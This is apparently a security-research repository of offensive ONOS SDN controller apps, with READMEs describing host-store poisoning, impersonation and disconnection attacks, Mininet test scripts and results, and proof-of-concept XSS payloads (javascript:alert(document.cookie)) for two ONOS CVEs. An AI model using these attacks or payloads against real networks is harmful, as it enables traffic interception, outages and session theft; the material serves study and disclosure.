-------------------------------------------------------------------------------- 1 | # Impersonation Host Tracking Application 2 | 3 | Impersonate legitimate hosts poisoning the host store with fake locations. 4 | 5 | How to use 6 | ----- 7 | 8 | Set up data plane using Mininet (use [mitmhosttracking-topo.py](https://github.com/edoardottt/offensive-onos-apps/blob/main/mininet/mitmhosttracking-topo.py) and your ONOS IP address): 9 | 10 | ```console 11 | sudo mn --mac --custom impersonation.py --topo impersonation --controller remote,ip=192.168.1.8 --switch ovs,protocols=OpenFlow13 12 | ``` 13 | 14 | Compile and check for errors: 15 | 16 | ```console 17 | make compile 18 | ``` 19 | 20 | Compile the app into an .oar (ONOS app archive) file which can be installed into ONOS: 21 | 22 | ```console 23 | make install 24 | ``` 25 | 26 | Search for .oar files 27 | 28 | ```console 29 | make oar 30 | ``` 31 | 32 | Start ONOS locally 33 | 34 | ```console 35 | bazel run onos-local 36 | ``` 37 | 38 | Install the application 39 | 40 | ```console 41 | ./tools/package/runtime/bin/onos-app localhost install! ~/github/offensive-onos-apps/apps/impersonation-host-tracking-app/target/onos-impersonationhosttracking-2.0.0-SNAPSHOT.oar 42 | ``` 43 | -------------------------------------------------------------------------------- /mininet/capped-2h1s.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from mininet.topo import Topo 4 | from mininet.net import Mininet 5 | from mininet.node import CPULimitedHost 6 | from mininet.link import TCLink 7 | from mininet.util import dumpNodeConnections 8 | from mininet.log import setLogLevel 9 | import time 10 | 11 | class SingleSwitchTopo( Topo ): 12 | "Single switch connected to n hosts." 13 | def build( self, n=2 ): 14 | switch = self.addSwitch( 's1' ) 15 | for h in range(n): 16 | # Each host gets 50%/n of system CPU 17 | host = self.addHost( 'h%s' % (h + 1), cpu=.5/n ) 18 | # 10 Mbps, 5ms delay, 2% loss, 1000 packet queue 19 | self.addLink( host, switch, bw=10, delay='5ms', loss=2, max_queue_size=1000, use_htb=True ) 20 | 21 | def perfTest(): 22 | "Create network and run simple performance test" 23 | topo = SingleSwitchTopo( n=4 ) 24 | net = Mininet( topo=topo, host=CPULimitedHost, link=TCLink ) 25 | net.start() 26 | print( "Dumping host connections" ) 27 | dumpNodeConnections( net.hosts ) 28 | print( "Sleeping for ten seconds..." ) 29 | time.sleep(10) 30 | print( "Testing network connectivity" ) 31 | net.pingAll() 32 | print( "Testing bandwidth between h1 and h4" ) 33 | h1, h4 = net.get( 'h1', 'h4' ) 34 | net.iperf( (h1, h4) ) 35 | net.stop() 36 | 37 | if __name__ == '__main__': 38 | setLogLevel( 'info' ) 39 | perfTest() 40 | -------------------------------------------------------------------------------- /apps/xssdevice-app/README.md: -------------------------------------------------------------------------------- 1 | # XSS Device Application 2 | 3 | This application exploits [CVE-2017-1000078](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000078) in ONOS 1.9.0 ([docker image](https://hub.docker.com/layers/onosproject/onos/1.9.0/images/sha256-15736a6740918e9dd7df2dd1287ee52e22be5ad45ba8b6c4400afeca9a66ff51)). 4 | This is an importat Proof of Concept because it's the first Cross App Poisoning attack targeting Web resources; before it was only about network related attacks. 5 | This application overwrites some information of an existing device with HTML/JS payload resulting in a stored XSS attack. 6 | 7 | How to use 8 | ----- 9 | 10 | Setup data plane with Mininet (use your ONOS IP address): 11 | 12 | ```console 13 | sudo mn --mac --topo linear,4 --controller remote,ip=192.168.1.8 --switch ovs,protocols=OpenFlow13 14 | ``` 15 | 16 | Compile and check for errors: 17 | 18 | ```console 19 | make compile 20 | ``` 21 | 22 | Compile the app into an .oar (ONOS app archive) file which can be installed into ONOS: 23 | 24 | ```console 25 | make install 26 | ``` 27 | 28 | Search for .oar files 29 | 30 | ```console 31 | make oar 32 | ``` 33 | 34 | Start ONOS locally 35 | 36 | ```console 37 | bazel run onos-local 38 | ``` 39 | 40 | Install the application 41 | 42 | ```console 43 | ./tools/package/runtime/bin/onos-app localhost install! ~/github/offensive-onos-apps/apps/xssdevice-app/target/onos-xssdevice-2.0.0-SNAPSHOT.oar 44 | ``` 45 | -------------------------------------------------------------------------------- /mininet/1snh.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from mininet.topo import Topo 4 | from mininet.net import Mininet 5 | from mininet.util import dumpNodeConnections 6 | from mininet.log import setLogLevel 7 | from mininet.cli import CLI 8 | import time 9 | import sys 10 | 11 | class SingleSwitchTopo(Topo): 12 | "Single switch connected to n hosts." 13 | def build(self, n=2): 14 | switch = self.addSwitch('s1') 15 | # Python's range(N) generates 0..N-1 16 | for h in range(n): 17 | host = self.addHost('h%s' % (h + 1)) 18 | self.addLink(host, switch) 19 | 20 | def read_input(): 21 | if len(sys.argv) != 2: 22 | print("usage: python {} n; where n is the number of hosts.".format(sys.argv[0])) 23 | sys.exit(1) 24 | return int(sys.argv[1]) 25 | 26 | def start(input): 27 | topo = SingleSwitchTopo(n=input) 28 | net = Mininet(topo) 29 | net.start() 30 | return net 31 | 32 | def simpleTest(net): 33 | print( "Dumping host connections" ) 34 | dumpNodeConnections(net.hosts) 35 | print( "Testing network connectivity" ) 36 | net.pingAll() 37 | 38 | def stop(net): 39 | net.stop() 40 | 41 | if __name__ == '__main__': 42 | # Tell mininet to print useful information 43 | setLogLevel('info') 44 | n = read_input() 45 | net = start(n) 46 | print("Sleeping for five seconds...") 47 | time.sleep(5) 48 | simpleTest(net) 49 | net.run(CLI, net) 50 | -------------------------------------------------------------------------------- /apps/README.md: -------------------------------------------------------------------------------- 1 | ### Offensive ONOS Applications 2 | 3 | - [impersonation-host-tracking-app](https://github.com/edoardottt/offensive-onos-apps/tree/main/apps/impersonation-host-tracking-app): Impersonate legitimate hosts poisoning the host store with fake locations. 4 | - [locationrouting-app](https://github.com/edoardottt/offensive-onos-apps/tree/main/apps/locationrouting-app): (WIP) Delete flow rules of hosts changing locations. 5 | - [mal-host-tracking-app](https://github.com/edoardottt/offensive-onos-apps/tree/main/apps/mal-host-tracking-app): Disconnect hosts poisoning the host store with fake locations. 6 | - [xssdevice-app](https://github.com/edoardottt/offensive-onos-apps/tree/main/apps/xssdevice-app): Deliver XSS payload using a CAP attack. 7 | - [store-dumper-app](https://github.com/edoardottt/offensive-onos-apps/tree/main/apps/store-dumper-app): Dump data stores content. 8 | - [linkevent-app](https://github.com/edoardottt/offensive-onos-apps/tree/main/apps/linkevent-app): Generate Down Link events for malicious purposes. 9 | - [topoedit-app](https://github.com/edoardottt/offensive-onos-apps/tree/main/apps/topoedit-app): Messing up with the current network topology. 10 | - [dhcpipsat-app](https://github.com/edoardottt/offensive-onos/tree/main/apps/dhcpipsat-app): DHCP Server vulnerable to IP Saturation (via CAP attack). 11 | - [ipsaturation-app](https://github.com/edoardottt/offensive-onos/tree/main/apps/ipsaturation-app): Malicious IP Saturation Application for vulnerable DHCP Server. 12 | - [trash](https://github.com/edoardottt/offensive-onos-apps/tree/main/apps/trash): Some less important tests that haven't led to any useful result. 13 | -------------------------------------------------------------------------------- /mininet/impersonation-test.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from mininet.topo import Topo 4 | from mininet.net import Mininet 5 | from mininet.util import dumpNodeConnections 6 | from mininet.log import setLogLevel 7 | from mininet.cli import CLI 8 | import time 9 | import sys 10 | 11 | class SingleSwitchTopo(Topo): 12 | "Single switch connected to n hosts." 13 | def build(self, n=4): 14 | switch1 = self.addSwitch('s1') 15 | h1 = self.addHost('h1') 16 | self.addLink(switch1, h1) 17 | switch2 = self.addSwitch('s2') 18 | # Python's range(N) generates 0..N-1 19 | for h in range(1, n): 20 | host = self.addHost('h%s' % (h + 1)) 21 | self.addLink(host, switch2) 22 | 23 | def read_input(): 24 | if len(sys.argv) != 3: 25 | print("usage: python {} n remote-ip; where n is the number of hosts and remote-ip the IP of ONOS".format(sys.argv[0])) 26 | sys.exit(1) 27 | return int(sys.argv[1]) 28 | 29 | def start(input): 30 | topo = SingleSwitchTopo(n=input) 31 | net = Mininet(topo) 32 | c0 = RemoteController('c0', ip=sys.argv[2], port=6633 ) 33 | net.addController(c0) 34 | net.start() 35 | return net 36 | 37 | def simpleTest(net): 38 | print( "Dumping host connections" ) 39 | dumpNodeConnections(net.hosts) 40 | print( "Testing network connectivity" ) 41 | net.pingAll() 42 | 43 | def stop(net): 44 | net.stop() 45 | 46 | if __name__ == '__main__': 47 | # Tell mininet to print useful information 48 | setLogLevel('info') 49 | n = read_input() 50 | net = start(n) 51 | print("Sleeping for five seconds...") 52 | time.sleep(5) 53 | simpleTest(net) 54 | net.run(CLI, net) 55 | -------------------------------------------------------------------------------- /tests/disconnection/README.md: -------------------------------------------------------------------------------- 1 | # Disconnection attack test 2 | 3 |

4 | 5 |

6 | 7 | How the attack works 8 | ---- 9 | 10 | First of all, the network is composed as the figure shows: every host can reach other hosts and the test pingall in Mininet passes with 100% success rate. 11 | 12 | ``` 13 | mininet> pingall 14 | *** Ping: testing ping reachbility 15 | h1 -> h2 h3 h4 16 | h2 -> h1 h3 h4 17 | h3 -> h2 h3 h4 18 | h4 -> h1 h2 h3 19 | *** Results: 0% dropped (12/12 received) 20 | ``` 21 | 22 | Then, the malicious application [mal-host-tracking-app](https://github.com/edoardottt/offensive-onos-apps/tree/main/apps/mal-host-tracking-app) is installed and activated in ONOS. When activated, it starts immediately poisoning the Host Data Store: 23 | 24 | - It finds the location of host H1 and H3 25 | - Insert the location of H1 in the array of locations of H3 and viceversa 26 | - Delete old locations of H1 and H3 27 | 28 | At the end of the attack, hosts H1 and H3 will have locations inverted (H1 connected to S2 and H3 connected to S1). 29 | 30 | Now if we perform a connection test we can observe this result: 31 | 32 | ``` 33 | mininet> pingall 34 | *** Ping: testing ping reachbility 35 | h1 -> h2 X h4 36 | h2 -> h1 X h4 37 | h3 -> h2 X h4 38 | h4 -> h1 h2 h3 39 | *** Results: 25% dropped (9/12 received) 40 | ``` 41 | 42 | This is what is happened: 43 | 44 | - When H1 tries to ping H2 (so the exact first ICMP request), it actually sends the ICMP echo packet; the Host Location Provider is active and so it writes the right location of H1 in the Host Data Store. 45 | - Now H1 can ping normally H2 and H4, but not H3 because the reactive forwarding app is installing flow rules for the wrong location. 46 | - H3 will be connected again to the network when it sends a packet containing its IP or MAC address (IP / ARP). 47 | -------------------------------------------------------------------------------- /mininet/nsnh.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from mininet.topo import Topo 4 | from mininet.net import Mininet 5 | from mininet.util import dumpNodeConnections 6 | from mininet.log import setLogLevel 7 | from mininet.cli import CLI 8 | import time 9 | import sys 10 | 11 | class SingleSwitchTopo(Topo): 12 | "Single switch connected to n hosts." 13 | def build(self, ns=1, nh=2): 14 | hcounter = 0 15 | switches = [] 16 | for s in range(ns): 17 | switch = self.addSwitch('s%s' % (s + 1)) 18 | switches.append(switch) 19 | hcounter+=1 20 | for h in range(nh): 21 | host = self.addHost('h%s' % (hcounter + h)) 22 | self.addLink(host, switch) 23 | hcounter+=1 24 | for i in range(len(switches)-1): 25 | self.addLink(switches[i],switches[i+1]) 26 | 27 | def read_input(): 28 | if len(sys.argv) != 3: 29 | print("usage: python {} ns nh;\n\twhere ns is the number of switches\n\tand nh the number of hosts.".format(sys.argv[0])) 30 | sys.exit(1) 31 | return (int(sys.argv[1]),int(sys.argv[2])) 32 | 33 | def start(ns,nh): 34 | topo = SingleSwitchTopo(ns=ns,nh=nh) 35 | net = Mininet(topo) 36 | net.start() 37 | return net 38 | 39 | def simpleTest(net): 40 | print( "Dumping host connections" ) 41 | dumpNodeConnections(net.hosts) 42 | print( "Testing network connectivity" ) 43 | net.pingAll() 44 | 45 | def stop(net): 46 | net.stop() 47 | 48 | if __name__ == '__main__': 49 | # Tell mininet to print useful information 50 | setLogLevel('info') 51 | ns,nh = read_input() 52 | net = start(ns,nh) 53 | print("Sleeping for five seconds...") 54 | time.sleep(5) 55 | simpleTest(net) 56 | net.run(CLI, net) 57 | -------------------------------------------------------------------------------- /tests/impersonation/README.md: -------------------------------------------------------------------------------- 1 | # Impersonation attack test 2 | 3 |

4 | 5 |

6 | 7 | How the attack works 8 | ---- 9 | 10 | First of all, the network is composed as the figure shows: every host can reach other hosts and the test `pingall` in Mininet passes with 100% success rate. 11 | 12 | ``` 13 | mininet> pingall 14 | *** Ping: testing ping reachbility 15 | h1 -> h2 h3 h4 16 | h2 -> h1 h3 h4 17 | h3 -> h2 h3 h4 18 | h4 -> h1 h2 h3 19 | *** Results: 0% dropped (12/12 received) 20 | ``` 21 | 22 | Then, the malicious application [impersonation-host-tracking-app](https://github.com/edoardottt/offensive-onos-apps/tree/main/apps/impersonation-host-tracking-app) is installed and activated in ONOS. When activated, it starts immediately poisoning the Host Data Store: 23 | 24 | - It finds the location of host H2 25 | - Put the location of H2 in the array of locations of H3 and H4 26 | - Delete old locations of H3 and H4 27 | 28 | At the end of the attack, hosts H2, H3 and H4 will have the exact same location (the one highlighted in red, the starting one of H2). 29 | Now we just need to execute: 30 | 31 | - `h2 tcpdump > impersonation-h2.pcap &` 32 | - `h4 tcpdump > impersonation-h4.pcap &` 33 | - `h1 ping h4` 34 | 35 | We can observe that in the file impersonation-h2.pcap H2 will receive ICMP echo requests from H1, meaning that attack succeeded. H2 then can impersonate H4 sending ICMP echo replies back to H1. 36 | Instead, if we observe impersonation-h4.pcap, we can notice that H4 never receives ICMP echo requests from H1. 37 | 38 | > **Note** 39 | > This attack is successful because there are no flow rules installed in the switches (due to cache timeout) ruling the flows between H1 and H4. So, when a switch gets a flow rule table miss it will ask directly to the ONOS controller where the packer should go and the controller will reply installing flow rules based on H4 location (but now it is the fake one!). 40 | -------------------------------------------------------------------------------- /onos-dm/out/predict2.out: -------------------------------------------------------------------------------- 1 | K = 3 2 | 3 | 4 | Start time: 16:19:45 5 | ----------- Training data ----------- 6 | Read 1000/1000 lines 7 | Model score: 0.975 8 | Model confusion matrix: 9 | [[520 23] 10 | [ 2 455]] 11 | ----------- Test data ----------- 12 | Read 200/200 lines 13 | Model score: 0.98 14 | Model confusion matrix: 15 | [[105 4] 16 | [ 0 91]] 17 | End time: 16:19:45 18 | Time difference is 0.0 seconds 19 | 20 | 21 | 22 | 23 | Start time: 16:20:21 24 | ----------- Training data ----------- 25 | Read 5000/5000 lines 26 | Model score: 0.9772 27 | Model confusion matrix: 28 | [[2592 101] 29 | [ 13 2294]] 30 | ----------- Test data ----------- 31 | Read 1000/1000 lines 32 | Model score: 0.962 33 | Model confusion matrix: 34 | [[515 32] 35 | [ 6 447]] 36 | End time: 16:20:22 37 | Time difference is 1.0 seconds 38 | 39 | 40 | 41 | 42 | Start time: 16:20:50 43 | ----------- Training data ----------- 44 | Read 20000/20000 lines 45 | Model score: 0.9803 46 | Model confusion matrix: 47 | [[10458 367] 48 | [ 27 9148]] 49 | ----------- Test data ----------- 50 | Read 4000/4000 lines 51 | Model score: 0.967 52 | Model confusion matrix: 53 | [[2116 118] 54 | [ 14 1752]] 55 | End time: 16:20:54 56 | Time difference is 4.0 seconds 57 | 58 | 59 | 60 | 61 | Start time: 16:21:24 62 | Read 100000/100000 lines 63 | ----------- Training data ----------- 64 | Model score: 0.98535 65 | Model confusion matrix: 66 | [[52702 1283] 67 | [ 182 45833]] 68 | ----------- Test data ----------- 69 | Read 20000/20000 lines 70 | Model score: 0.97445 71 | Model confusion matrix: 72 | [[10382 419] 73 | [ 92 9107]] 74 | End time: 16:25:07 75 | Time difference is 223.0 seconds 76 | 77 | 78 | 79 | 80 | Start time: 16:25:59 81 | ----------- Training data ----------- 82 | Read 200000/200000 lines 83 | Model score: 0.987855 84 | Model confusion matrix: 85 | [[105765 2121] 86 | [ 308 91806]] 87 | ----------- Test data ----------- 88 | Read 40000/40000 lines 89 | Model score: 0.975075 90 | Model confusion matrix: 91 | [[20758 816] 92 | [ 181 18245]] 93 | End time: 16:45:58 94 | Time difference is 1199.0 seconds -------------------------------------------------------------------------------- /tests/impersonation/impersonation-h4.pcap: -------------------------------------------------------------------------------- 1 | 02:40:42.596077 LLDP, length 125 2 | 02:40:42.596088 02:eb:69:28:3b:3a (oui Unknown) > Broadcast, ethertype Unknown (0x8942), length 139: 3 | 0x0000: 0207 0400 0000 0000 0204 0202 3406 0200 ............4... 4 | 0x0010: 78fe 12a4 2305 014f 4e4f 5320 4469 7363 x...#..ONOS.Disc 5 | 0x0020: 6f76 6572 79fe 17a4 2305 026f 663a 3030 overy...#..of:00 6 | 0x0030: 3030 3030 3030 3030 3030 3030 3032 fe0c 00000000000002.. 7 | 0x0040: a423 0504 0000 0185 bf51 1e5c fe24 a423 .#.......Q.\.$.# 8 | 0x0050: 0505 5da8 cbd5 5265 0fcf c093 a3d2 4209 ..]...Re......B. 9 | 0x0060: 0d75 20b6 7af4 274b db63 bbed c38c 336c .u..z.'K.c....3l 10 | 0x0070: f794 0807 7332 2d65 7468 3400 00 ....s2-eth4.. 11 | 02:40:45.695552 LLDP, length 125 12 | 02:40:45.695560 02:eb:69:28:3b:3a (oui Unknown) > Broadcast, ethertype Unknown (0x8942), length 139: 13 | 0x0000: 0207 0400 0000 0000 0204 0202 3406 0200 ............4... 14 | 0x0010: 78fe 12a4 2305 014f 4e4f 5320 4469 7363 x...#..ONOS.Disc 15 | 0x0020: 6f76 6572 79fe 17a4 2305 026f 663a 3030 overy...#..of:00 16 | 0x0030: 3030 3030 3030 3030 3030 3030 3032 fe0c 00000000000002.. 17 | 0x0040: a423 0504 0000 0185 bf51 2a77 fe24 a423 .#.......Q*w.$.# 18 | 0x0050: 0505 0801 76c8 2c95 478d f3d5 fc13 d7d8 ....v.,.G....... 19 | 0x0060: 9fde 750d e350 fa1a fc13 f4f5 e0e3 c874 ..u..P.........t 20 | 0x0070: 4aab 0807 7332 2d65 7468 3400 00 J...s2-eth4.. 21 | 02:40:48.796554 LLDP, length 125 22 | 02:40:48.796567 02:eb:69:28:3b:3a (oui Unknown) > Broadcast, ethertype Unknown (0x8942), length 139: 23 | 0x0000: 0207 0400 0000 0000 0204 0202 3406 0200 ............4... 24 | 0x0010: 78fe 12a4 2305 014f 4e4f 5320 4469 7363 x...#..ONOS.Disc 25 | 0x0020: 6f76 6572 79fe 17a4 2305 026f 663a 3030 overy...#..of:00 26 | 0x0030: 3030 3030 3030 3030 3030 3030 3032 fe0c 00000000000002.. 27 | 0x0040: a423 0504 0000 0185 bf51 3694 fe24 a423 .#.......Q6..$.# 28 | 0x0050: 0505 3070 fb7a 7ed6 efc7 c086 4882 45a1 ..0p.z~.....H.E. 29 | 0x0060: c3a3 498a c031 4d96 f36b 7e24 8b38 777f ..I..1M..k~$.8w. 30 | 0x0070: 8129 0807 7332 2d65 7468 3400 00 .)..s2-eth4.. 31 | -------------------------------------------------------------------------------- /CVE-2023-24279/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2023-24279 2 | 3 | Description 4 | ------ 5 | 6 | A cross-site scripting (XSS) vulnerability in Open Networking Foundation ONOS from version v1.9.0 to v2.7.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the url parameter of the API documentation dashboard. 7 | 8 | PoC 9 | ------ 10 | 11 | PoC for CVE-2023-24279: [@edoardottt Youtube video](https://www.youtube.com/watch?v=1mSXzzwcGMM) 12 | 13 | Vulnerable endpoint: 14 | 15 | Payload: 16 | 17 | ```json 18 | { 19 | "swagger" : "2.0", 20 | "info" : { 21 | "version" : "1.0.100", 22 | "title" : "Swagger UI v2.2.10 XSS POC", 23 | "description" : "Swagger UI v2.2.10 XSS POC", 24 | "contact" : { 25 | "name" : "edoardottt", 26 | "url" : "javascript:alert(document.cookie)", 27 | "email" : "edoardott@gmail.com" 28 | }, 29 | }, 30 | } 31 | ``` 32 | 33 | PoC URL ready to be delivered: 34 | 35 | References 36 | ------ 37 | 38 | - 39 | - 40 | - 41 | - 42 | - 43 | - 44 | - 45 | - 46 | - 47 | 48 |
49 | 50 | Useful links while researching for this CVE: 51 | 52 | - 53 | - 54 | - 55 | - 56 | - 57 | - 58 | - 59 | -------------------------------------------------------------------------------- /CVE-2023-30093/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2023-30093 2 | 3 | Description 4 | ------ 5 | 6 | A cross-site scripting (XSS) vulnerability in Open Networking Foundation ONOS from version v1.9.0 to v2.7.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the url parameter of the API documentation dashboard. 7 | 8 | PoC 9 | ------ 10 | 11 | PoC for CVE-2023-30093: [@edoardottt Youtube video](https://www.youtube.com/watch?v=jZr2JhDd_S8) 12 | 13 | Vulnerable endpoint: 14 | 15 | Payload: 16 | 17 | ```yaml 18 | swagger: "2.0" 19 | info: 20 | title: edoardottt XSS 21 | description: XSS ONOS POC 22 | version: 1.0.0 23 | host: edoardottt.com 24 | basePath: /v1 25 | schemes: 26 | - https 27 | 28 | securityDefinitions: 29 | OAuth2: 30 | type: oauth2 31 | flow: accessCode 32 | authorizationUrl: javascript:alert(document.cookie)// 33 | tokenUrl: https://example.com/oauth/token 34 | scopes: 35 | read: Grants read access 36 | write: Grants write access 37 | admin: Grants read and write access to administrative information 38 | ``` 39 | 40 | PoC URL ready to be delivered: 41 | 42 | References 43 | ------ 44 | 45 | - 46 | - 47 | - 48 | - 49 | - 50 | - 51 | - 52 | - 53 | - 54 | 55 |
56 | 57 | Useful links while researching for this CVE: 58 | 59 | - 60 | - 61 | - 62 | - 63 | - 64 | - 65 | - 66 | -------------------------------------------------------------------------------- /tests/mininet/test1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from mininet.topo import Topo 4 | from mininet.net import Mininet 5 | from mininet.node import RemoteController 6 | from mininet.util import dumpNodeConnections 7 | from mininet.log import setLogLevel 8 | from mininet.cli import CLI 9 | import time 10 | import sys 11 | 12 | class SingleSwitchTopo(Topo): 13 | "Single switch connected to n hosts." 14 | def build(self, n=4): 15 | switch1 = self.addSwitch('s1') 16 | h1 = self.addHost('h1') 17 | self.addLink(switch1, h1) 18 | switch2 = self.addSwitch('s2') 19 | h2 = self.addHost('h2') 20 | self.addLink(switch2, h2) 21 | switch3 = self.addSwitch('s3') 22 | h3 = self.addHost('h3') 23 | self.addLink(switch3, h3) 24 | switch4 = self.addSwitch('s4') 25 | h4 = self.addHost('h4') 26 | self.addLink(switch4, h4) 27 | 28 | def read_input(): 29 | if len(sys.argv) != 3: 30 | print("usage: python {} n remote-ip; where n is the number of hosts and remote-ip the IP of ONOS".format(sys.argv[0])) 31 | sys.exit(1) 32 | return int(sys.argv[1]) 33 | 34 | def start(input): 35 | topo = SingleSwitchTopo(n=input) 36 | net = Mininet(topo) 37 | c0 = RemoteController('c0', ip=sys.argv[2], port=6653 ) 38 | net.addController(c0) 39 | net.start() 40 | return net 41 | 42 | def simpleTest(net): 43 | print( "Dumping host connections" ) 44 | dumpNodeConnections(net.hosts) 45 | print( "Testing network connectivity" ) 46 | net.pingAll() 47 | 48 | def connTest(net): 49 | print( "Testing host connections" ) 50 | while True: 51 | net.addHost('h5') 52 | s4 = net.get('s4') 53 | net.addLink(s4, net.get('h5')) 54 | s4.attach('s4-eth3') 55 | net.get('h5').cmd('ifconfig h5-eth0 10.0.0.5') 56 | 57 | # pingall 58 | net.get('h5').cmd('ping -c 1 10.0.0.1') 59 | net.get('h5').cmd('ping -c 1 10.0.0.2') 60 | net.get('h5').cmd('ping -c 1 10.0.0.3') 61 | net.get('h5').cmd('ping -c 1 10.0.0.4') 62 | 63 | # delete host 64 | net.delHost(net.get('h5')) 65 | 66 | 67 | def stop(net): 68 | net.stop() 69 | 70 | if __name__ == '__main__': 71 | # Tell mininet to print useful information 72 | setLogLevel('info') 73 | n = read_input() 74 | net = start(n) 75 | print("Sleeping for five seconds...") 76 | time.sleep(5) 77 | simpleTest(net) 78 | connTest(net) 79 | net.run(CLI, net) 80 | -------------------------------------------------------------------------------- /apps/linkevent-app/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 17 | 18 | 4.0.0 19 | 20 | 21 | org.onosproject 22 | onos-dependencies 23 | 2.7.0 24 | 25 | 26 | 27 | onos-linkevent 28 | 2.0.0-SNAPSHOT 29 | bundle 30 | 31 | Test sample application 32 | 33 | 34 | 2.7.0 35 | org.onosproject.linkevent 36 | edoardottt 37 | linkevent App 38 | Monitoring 39 | http://onosproject.org 40 | 41 | 42 | 43 | 44 | 45 | org.onosproject 46 | onos-api 47 | ${onos.version} 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | org.apache.felix 56 | maven-bundle-plugin 57 | 58 | 59 | org.apache.felix 60 | maven-scr-plugin 61 | 62 | 63 | org.onosproject 64 | onos-maven-plugin 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /apps/trash/xss-group-app/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 17 | 18 | 4.0.0 19 | 20 | 21 | org.onosproject 22 | onos-dependencies 23 | 2.7.0 24 | 25 | 26 | 27 | onos-xssgroup 28 | 2.0.0-SNAPSHOT 29 | bundle 30 | 31 | XSS group application 32 | 33 | 34 | 2.7.0 35 | org.onosproject.xssgroup 36 | edoardottt 37 | xssgroup App 38 | Monitoring 39 | http://onosproject.org 40 | 41 | 42 | 43 | 44 | 45 | org.onosproject 46 | onos-api 47 | ${onos.version} 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | org.apache.felix 56 | maven-bundle-plugin 57 | 58 | 59 | org.apache.felix 60 | maven-scr-plugin 61 | 62 | 63 | org.onosproject 64 | onos-maven-plugin 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /apps/dhcpipsat-app/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 17 | 18 | 4.0.0 19 | 20 | 21 | org.onosproject 22 | onos-dependencies 23 | 2.7.0 24 | 25 | 26 | 27 | onos-dhcpipsat 28 | 2.0.0-SNAPSHOT 29 | bundle 30 | 31 | Test sample application 32 | 33 | 34 | 2.7.0 35 | org.onosproject.dhcpipsat 36 | edoardottt 37 | DhcpIpSaturation App 38 | Monitoring 39 | http://onosproject.org 40 | 41 | 42 | 43 | 44 | 45 | org.onosproject 46 | onos-api 47 | ${onos.version} 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | org.apache.felix 56 | maven-bundle-plugin 57 | 58 | 59 | org.apache.felix 60 | maven-scr-plugin 61 | 62 | 63 | org.onosproject 64 | onos-maven-plugin 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /apps/ipsaturation-app/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 17 | 18 | 4.0.0 19 | 20 | 21 | org.onosproject 22 | onos-dependencies 23 | 2.7.0 24 | 25 | 26 | 27 | onos-ipsaturation 28 | 2.0.0-SNAPSHOT 29 | bundle 30 | 31 | Test sample application 32 | 33 | 34 | 2.7.0 35 | org.onosproject.ipsaturation 36 | edoardottt 37 | IpSaturation App 38 | Monitoring 39 | http://onosproject.org 40 | 41 | 42 | 43 | 44 | 45 | org.onosproject 46 | onos-api 47 | ${onos.version} 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | org.apache.felix 56 | maven-bundle-plugin 57 | 58 | 59 | org.apache.felix 60 | maven-scr-plugin 61 | 62 | 63 | org.onosproject 64 | onos-maven-plugin 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /apps/locationrouting-app/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 17 | 18 | 4.0.0 19 | 20 | 21 | org.onosproject 22 | onos-dependencies 23 | 2.7.0 24 | 25 | 26 | 27 | onos-locationrouting 28 | 2.0.0-SNAPSHOT 29 | bundle 30 | 31 | Test sample application 32 | 33 | 34 | 2.7.0 35 | org.onosproject.locationrouting 36 | edoardottt 37 | locationrouting App 38 | Monitoring 39 | http://onosproject.org 40 | 41 | 42 | 43 | 44 | 45 | org.onosproject 46 | onos-api 47 | ${onos.version} 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | org.apache.felix 56 | maven-bundle-plugin 57 | 58 | 59 | org.apache.felix 60 | maven-scr-plugin 61 | 62 | 63 | org.onosproject 64 | onos-maven-plugin 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /apps/trash/xsspreferences-app/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 17 | 18 | 4.0.0 19 | 20 | 21 | org.onosproject 22 | onos-dependencies 23 | 2.7.0 24 | 25 | 26 | 27 | onos-xsspreferences 28 | 2.0.0-SNAPSHOT 29 | bundle 30 | 31 | XSS preferences POC application 32 | 33 | 34 | 2.7.0 35 | org.onosproject.xsspreferences 36 | edoardottt 37 | xsspreferences App 38 | Monitoring 39 | http://onosproject.org 40 | 41 | 42 | 43 | 44 | 45 | org.onosproject 46 | onos-api 47 | ${onos.version} 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | org.apache.felix 56 | maven-bundle-plugin 57 | 58 | 59 | org.apache.felix 60 | maven-scr-plugin 61 | 62 | 63 | org.onosproject 64 | onos-maven-plugin 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /apps/mal-host-tracking-app/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 17 | 18 | 4.0.0 19 | 20 | 21 | org.onosproject 22 | onos-dependencies 23 | 2.7.0 24 | 25 | 26 | 27 | onos-malhosttracking 28 | 2.0.0-SNAPSHOT 29 | bundle 30 | 31 | Malicious Host Tracking application 32 | 33 | 34 | 2.7.0 35 | org.onosproject.malhosttracking 36 | edoardottt 37 | malhosttracking App 38 | Monitoring 39 | http://onosproject.org 40 | 41 | 42 | 43 | 44 | 45 | org.onosproject 46 | onos-api 47 | ${onos.version} 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | org.apache.felix 56 | maven-bundle-plugin 57 | 58 | 59 | org.apache.felix 60 | 